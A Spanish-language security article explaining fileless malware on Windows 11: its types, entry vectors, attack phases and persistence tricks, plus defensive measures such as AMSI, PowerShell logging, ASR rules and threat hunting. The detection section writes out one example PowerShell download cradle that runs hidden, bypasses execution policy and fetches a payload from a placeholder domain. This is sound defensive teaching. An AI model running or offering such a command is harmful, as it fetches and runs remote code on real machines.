El malware fileless (sin archivos) se ha convertido en uno de esos quebraderos de cabeza que no paran de crecer en cualquier entorno Windows moderno, incluido Windows 11. Este tipo de ataque evita el disco duro y se apoya en la memoria, en scripts y en binarios legítimos del sistema, de modo que los antivirus basados solo en firmas lo tienen muy complicado para pillarlo a tiempo.
Para localizarlo con cierta fiabilidad no basta con “pasar un antivirus”: hay que combinar telemetría rica de procesos, análisis de comportamiento, inspección de memoria y un buen uso de los controles nativos de Windows (PowerShell, WMI, registro, AMSI, reglas ASR, etc.). Además, conviene entender en detalle qué es realmente el malware sin archivos, qué variantes existen, cómo entra, cómo se mantiene y qué señales deja aunque todo ocurra dentro de la RAM.
Qué es el malware fileless y por qué es tan problemático en Windows 11
Cuando hablamos de malware sin archivos nos referimos a código malicioso que no necesita dejar ejecutables nuevos y visibles en el sistema de archivos para funcionar. Suele inyectarse en procesos que ya están en marcha y ejecutarse directamente en memoria, aprovechando herramientas firmadas por Microsoft como PowerShell, WMI, rundll32, mshta o VBScript/JScript. De esta forma reduce su huella y se escapa de los motores que solo analizan archivos sospechosos en disco.
Incluso los documentos de Office, PDFs o enlaces de phishing que disparan comandos y shellcode en memoria se encuadran en este fenómeno, porque el archivo en sí apenas aporta artefactos útiles para el análisis. Algo similar pasa con las macros y el mecanismo DDE en Office: el código malicioso corre embebido en procesos legítimos como Word o Excel, sin que aparezca un exe raro en el disco.
Los atacantes combinan ingeniería social y exploits: un correo con adjunto, un enlace a una web comprometida o una macro “inocente” pueden lanzar una cadena en la que un script descarga y ejecuta el payload en RAM, borrando rastros en cuanto puede. El objetivo final puede ser desde robar credenciales y datos sensibles, hasta desplegar ransomware, espionaje prolongado (APT) o moverse lateralmente por la red sin hacer ruido.
Tipos de malware fileless según su huella en el sistema
Para no mezclar conceptos es útil clasificar las amenazas por el grado de interacción con el sistema de archivos. Esto aclara qué persiste, dónde se aloja el código y qué evidencias forenses deja.
Tipo I: sin actividad de archivo
Aquí hablamos del fileless “puro y duro”: el código no escribe nada en el disco. Un ejemplo clásico es el aprovechamiento de vulnerabilidades de red como las de SMB (caso EternalBlue) para cargar una puerta trasera en la memoria del kernel, como DoublePulsar. Todo el ataque vive en RAM y no aparecen nuevos ficheros en el sistema de archivos.
En este mismo saco entran las amenazas que infectan firmwares de BIOS/UEFI, tarjetas de red, discos o incluso subsistemas de la CPU. Persisten a reinicios y reinstalaciones del sistema operativo, y muy pocas soluciones de seguridad inspeccionan de verdad ese nivel. Son ataques menos frecuentes y muy sofisticados, pero su combinación de sigilo y persistencia los hace especialmente peligrosos.
Tipo II: actividad de archivo indirecta
En este grupo el malware no deja su propio ejecutable, pero usa contenedores gestionados por el sistema que, en el fondo, se almacenan en disco. Por ejemplo, backdoors que guardan comandos PowerShell o scripts dentro de repositorios WMI o en el Registro de Windows y los disparan usando filtros de eventos o claves Run/RunOnce. El repositorio WMI y el registro residen en el disco como bases de datos legítimas, difíciles de limpiar sin tocar el sistema.
Desde el punto de vista práctico se consideran también fileless porque el contenedor (WMI, registro, sector de arranque, etc.) no es un ejecutable clásico y su limpieza es delicada. El efecto final es una persistencia sigilosa con muy poca huella “tradicional”.
Tipo III: híbridos que dependen de archivos
Aquí la lógica maliciosa vive en memoria, en el registro o en WMI, pero necesita algún disparador basado en archivo. Un ejemplo típico es Kovter: registra un verbo de shell para una extensión rara y, al abrir un archivo de ese tipo, se ejecuta un pequeño script que, a través de mshta.exe u otros binarios, reconstruye la carga maliciosa desde el Registro.
Estos ficheros “carnada” no contienen payloads analizables como tal; la chicha está en contenedores como el Registro o WMI. Por eso se suelen agrupar bajo el paraguas de amenazas fileless, aunque en sentido estricto dependan de uno o más artefactos en disco.
Vectores de entrada y lugares donde se oculta el fileless
Para mejorar la detección es crítico mapear por dónde entra el malware y en qué procesos u objetos se hospeda. Esta visión ayuda a desplegar controles específicos y a priorizar la telemetría que realmente importa.
En el terreno de los exploits encontramos dos grandes familias. Por un lado, los ataques basados en archivos, donde documentos ofimáticos, PDFs, ejecutables, LNK o contenido Flash/Java antiguo explotan el navegador o la aplicación que los procesa, cargando shellcode en memoria (típico caso de campañas de spam masivo con Word con macros). Por otro lado, tenemos los ataques basados en red, como WannaCry, en los que un paquete malicioso explota una vulnerabilidad en un servicio (SMB, RDP, etc.) y logra ejecución directa en userland o kernel, sin que jamás se escriba un nuevo archivo en disco.
También existe un vector de hardware y firmware nada despreciable. Dispositivos con firmware reprogramable (discos, NICs, periféricos USB tipo BadUSB), BIOS/UEFI o incluso mini-hipervisores maliciosos pueden introducir código que corre por debajo del sistema operativo. Estas técnicas encajan de lleno en el Tipo I: persisten fuera del sistema operativo y son extremadamente difíciles de auditar y erradicar.
En cuanto a la ejecución e inyección, los atacantes abusan tanto de archivos “normales” como de scripts en memoria. EXE/DLL/LNK o tareas programadas pueden lanzar inyecciones en procesos legítimos. Incluso el sector de arranque (MBR/EFI) puede ser manipulado por familias como Petya para tomar el control desde el inicio, quedando fuera del sistema de archivos tradicional.
Por si fuera poco, los actores avanzados (APT como The Dukes/APT29) han demostrado campañas con backdoors fileless como RegDuke o POSHSPY, que viven casi por completo en memoria, WMI y registro, combinando distintas técnicas para minimizar los rastros.
Cadenas de ataque fileless: fases y señales a vigilar
Aunque no dejen ejecutables visibles, los ataques fileless siguen una secuencia bastante reconocible de fases. Entenderlas es clave para saber qué eventos y relaciones entre procesos merecen la pena ser monitorizados.
- Fase de acceso inicial. Suele apoyarse en phishing con adjuntos o enlaces, webs comprometidas o credenciales robadas. Es muy habitual ver que el punto de partida es un documento de Office que, al habilitar el contenido activo, lanza un comando de PowerShell con parámetros sospechosos (ExecutionPolicy Bypass, ventana oculta, descarga desde dominios raros, etc.).
- Fase de persistencia. Aquí entran en juego los filtros y suscripciones WMI, las claves de ejecución automática del Registro (Run, RunOnce, Winlogon), el abuso del programador de tareas o la modificación de sectores de arranque. El malware intenta asegurarse de que, tras un reinicio o cierre de sesión, el entorno malicioso se rehidrate en memoria sin necesidad de reintroducir nuevos binarios.
- Fase de movimiento lateral y escalada, las herramientas propias del sistema (PowerShell Remoting, PsExec, WMI, RDP) permiten pivotar de un equipo a otro aprovechando credenciales robadas. Todo esto, nuevamente, se hace “viviendo de la tierra”: usando utilidades legítimas que ya están instaladas.
- Fase final: exfiltración e impacto. El malware puede cifrar datos (ransomware fileless), sacar información hacia servidores de mando y control (C2) usando navegadores, bitsadmin o PowerShell, o manipular sistemas críticos. Durante todo el ciclo, los indicadores clave se esconden en argumentos de línea de comandos, árboles de procesos anómalos, conexiones salientes sospechosas y llamadas a APIs de inyección.
Técnicas habituales de los ataques sin archivos
Dentro del paraguas fileless caben muchas técnicas diferentes, pero varias se repiten una y otra vez. Conocerlas ayuda a plantear reglas de detección conductual y campañas de hunting efectivas.
Una de las más comunes es el malware residente en memoria. El atacante carga el payload en el espacio de memoria de un proceso de confianza (por ejemplo, explorer.exe, svchost.exe o un navegador) y lo deja a la espera de órdenes. En el caso de rootkits y hooks a nivel de kernel, el nivel de ocultación es todavía mayor y muchas soluciones que solo miran el espacio de usuario se quedan ciegas.
Otra táctica es la persistencia en el Registro de Windows, guardando blobs cifrados o cadenas ofuscadas que luego se rehidratan usando lanzadores legítimos como mshta, rundll32 o wscript. El pequeño “loader” puede autodestruirse nada más ejecutar, de manera que los únicos rastros significativos queden en las claves de registro y en la memoria.
También se ve mucho la suplantación de credenciales. Una vez robados usuarios y contraseñas, el atacante puede abrir shells remotos, ejecutar scripts directamente en consola sin escribir ficheros y plantar backdoors silenciosos en WMI o en el registro. En escenarios corporativos esto permite campañas de espionaje prolongadas, con muy baja tasa de detección si no se monitoriza bien el uso de herramientas administrativas.
En la parte más visible, el ransomware fileless es capaz de cifrar datos y comunicarse con su infraestructura C2 operando casi todo el tiempo desde memoria. Muchas veces la primera señal de que algo va mal es cuando los archivos ya están cifrados, porque las etapas previas no se han visto reflejadas en alertas de seguridad.
Por qué no sirve con “bloquearlo todo” en la empresa
Podría parecer tentador cortar por lo sano y desactivar PowerShell, bloquear macros o prohibir WMI. El problema es que romperías buena parte de la operativa diaria: PowerShell es fundamental para la administración moderna, Office es la herramienta de trabajo básica y WMI está en el corazón de la gestión de sistemas Windows.
Aun así, muchos intentos de protección frente a ataques sin archivos se han basado justo en eso: listas blancas muy rígidas, bloqueo de macros sin estrategia, o desactivar PowerShell.exe sin más. Los atacantes, sin embargo, llevan tiempo aprendiendo a esquivar esos bloqueos: usando su propia copia de PowerShell, cargándolo vía DLL con rundll32, empaquetando scripts dentro de ejecutables, escondiendo código en imágenes (steganografía) o llamando a PowerShell a través de herramientas intermedias.
Otro error frecuente es confiar exclusivamente en soluciones que deciden en la nube. Si el agente del endpoint tiene que consultar a un servidor remoto antes de parar una actividad sospechosa, la prevención en tiempo real se resiente: necesitas conectividad y, además, introduces un retraso que en ataques rápidos (ransomware, wipers) puede ser fatal.
En la práctica, la defensa frente al malware fileless exige una combinación de telemetría local rica, motores de detección conductual en el propio endpoint y, como capa extra, análisis en la nube para enriquecer, correlacionar y mejorar la inteligencia. Pero la decisión de parar un proceso o revertir cambios debe poder tomarse localmente, incluso sin conexión.
Cómo detectar malware fileless en Windows 11: telemetría y comportamiento
La estrategia ganadora pasa por vigilar procesos, memoria y comportamiento, no solo archivos. Los patrones maliciosos son mucho más estables que las variantes de un mismo malware, así que un enfoque basado en comportamiento funciona mejor frente a amenazas nuevas u ofuscadas.
En el ecosistema Microsoft, la Antimalware Scan Interface (AMSI) es una pieza clave. Permite interceptar scripts en PowerShell, VBScript o JScript (y otros lenguajes compatibles) incluso cuando se construyen dinámicamente en memoria. Antes de ejecutarse, el contenido del script se envía al motor antimalware que haya registrado AMSI, lo que facilita detectar cadenas sospechosas, ofuscación burda y comportamientos típicos de malware.
Además, es fundamental disponer de una monitorización detallada de procesos: inicio y fin, PID, padre e hijo, ruta del ejecutable, hashes, árbol de procesos completo y, muy importante, líneas de comandos completas. Gran parte de los indicadores de ataque se esconden tras flags y argumentos. Comandos como powershell -ExecutionPolicy Bypass -NoProfile -WindowStyle Hidden (New-Object Net.WebClient).DownloadString('http://dominiotld/payload') no deberían pasar desapercibidos en un entorno algo maduro.
La inspección de memoria es otro pilar. Hay que ser capaz de identificar cargas PE reflejas, regiones de memoria marcadas como ejecutables en procesos que normalmente no deberían tenerlas, y patrones típicos de inyección (WriteProcessMemory, CreateRemoteThread, etc.). Soluciones modernas tipo EDR/EDR gestionado (EMDR) y productos como Microsoft Defender for Endpoint o plataformas tipo SentinelOne monitorizan estas operaciones a nivel del kernel para separar actividad maliciosa de la legítima.
Todo esto se completa con controles específicos como la protección del MBR/EFI para detectar y revertir manipulaciones del sector de arranque, y con la capacidad de capturar buffers de memoria asociados a ejecuciones sospechosas para que los equipos de respuesta puedan generar nuevas firmas o reglas de comportamiento.
Medidas prácticas en Windows 11
Más allá de contar con una solución EDR potente, Windows 11 ofrece controles nativos muy útiles para poner las cosas difíciles al malware sin archivos y, de paso, mejorar la visibilidad para tareas de threat hunting.
Prevención
En PowerShell conviene habilitar Script Block Logging y Module Logging, aplicar modos restringidos donde sea viable y vigilar el uso de ExecutionPolicy Bypass y ventanas ocultas. Esto proporciona un histórico de scripts ejecutados, incluso si fueron generados dinámicamente, y es oro puro para detectar post-explotaciones con PowerShell.
Las Reglas de Reducción de Superficie de Ataque (ASR) permiten bloquear la creación de procesos por parte de Office hacia PowerShell, cmd, mshta u otras piezas de alto riesgo, así como el abuso de WMI o PsExec cuando no son necesarios. Bien configuradas, recortan drásticamente el espacio de ataque fileless en entornos ofimáticos sin romper el negocio.
En el frente de Office, es importante endurecer las macros: deshabilitarlas por defecto, permitir solo macros firmadas internamente, usar listas de confianza estrictas y revisar viejos flujos basados en DDE. El objetivo es que abrir un documento recibido por correo no suponga carta blanca para ejecutar cualquier cosa en el sistema.
Para la parte de persistencia, resulta esencial auditar WMI, el Registro y las tareas programadas. Hay que vigilar suscripciones de eventos en root\Subscription, clases como __EventFilter, CommandLineEventConsumer y __FilterToConsumerBinding, así como claves Run/RunOnce y nuevas tareas que invoquen scripts o binarios sospechosos. Herramientas como Sysmon ayudan mucho a generar eventos ricos; en entornos grandes, lo razonable es apoyarse en un EDR y en un buen SIEM.
Como siempre, el parcheo y el endurecimiento del sistema operativo, navegadores, Office y servicios de red es una línea de defensa básica. Muchas intrusiones fileless comienzan explotando vulnerabilidades conocidas que podrían haberse cerrado con actualizaciones rutinarias.
Hunting
Tiene sentido centrar las búsquedas en patrones de ejecución anómalos: procesos de Office lanzando PowerShell o mshta, líneas de comandos con downloadstring/downloadfile, scripts con ofuscación clara, inyecciones reflejas y conexiones salientes a dominios sospechosos o TLD raros. Cruzando todo esto con información de reputación y frecuencia se pueden reducir ruidos y encontrar campañas discretas.
Por último, no se debe olvidar la concienciación de usuarios y equipos técnicos. Enseñar a identificar correos de phishing, adjuntos peligrosos, enlaces dudosos o comportamientos extraños en el equipo (ventanas que se cierran solas, procesos de consola fugaces) sigue siendo una barrera muy rentable frente a campañas fileless masivas.
La realidad es que el malware sin archivos ya no es un bicho raro sino una técnica habitual en ataques dirigidos y en campañas masivas que abusan de scripts. Centrarse en el comportamiento de procesos, el uso de la memoria y los orígenes de cada ejecución, apoyarse en AMSI, en telemetría de alta calidad, en controles de Windows 11 y en plataformas EDR con análisis conductual, y acompañar todo ello con políticas realistas para macros, PowerShell y WMI, coloca a cualquier organización en una posición mucho mejor para detectar y cortar estas cadenas antes de que causen un desastre.